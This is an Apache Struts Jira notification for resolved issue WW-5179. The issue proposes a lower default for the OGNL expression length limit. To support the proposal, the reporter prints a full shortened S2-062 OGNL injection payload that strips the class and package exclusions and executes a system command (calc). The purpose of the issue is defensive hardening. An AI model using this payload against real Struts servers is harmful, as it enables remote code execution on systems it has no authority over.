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https://issues.apache.org/jira/browse/WW-5179?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
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Lukasz Lenart resolved WW-5179.
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Resolution: Fixed
> Set 'struts.ognl.expressionMaxLength' to 256 by default
> -------------------------------------------------------
>
> Key: WW-5179
> URL: https://issues.apache.org/jira/browse/WW-5179
> Project: Struts 2
> Issue Type: Improvement
> Components: Core
> Reporter: tanli
> Priority: Major
> Fix For: 2.6
>
> Time Spent: 20m
> Remaining Estimate: 0h
>
> struts.ognl.expressionMaxLength
> default set 400
> i reduce the st062 exp
>
> %\{(#request.a=#@org.apache.commons.collections.BeanMap@{})+
> (#request.a.setBean(#request.get('struts.valueStack'))==true)+
> (#request.b=#@org.apache.commons.collections.BeanMap@{})+
> (#request.b.setBean(#request.get('a').get('context'))==true)+
> (#request.c=#@org.apache.commons.collections.BeanMap@{})+
> (#request.c.setBean(#request.get('b').get('memberAccess'))==true)+
> (#request.get('c').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet())==true)+
> (#request.get('c').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet())==true)+
> (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec(\{'calc'}))}
>
> it's length is 709, so we default set ognl expression length is 400 could
> protect our app safe.
>
> and！
>
> i think st2 can give a default num: a expression can have # nums limit
> like 10
>
> thx
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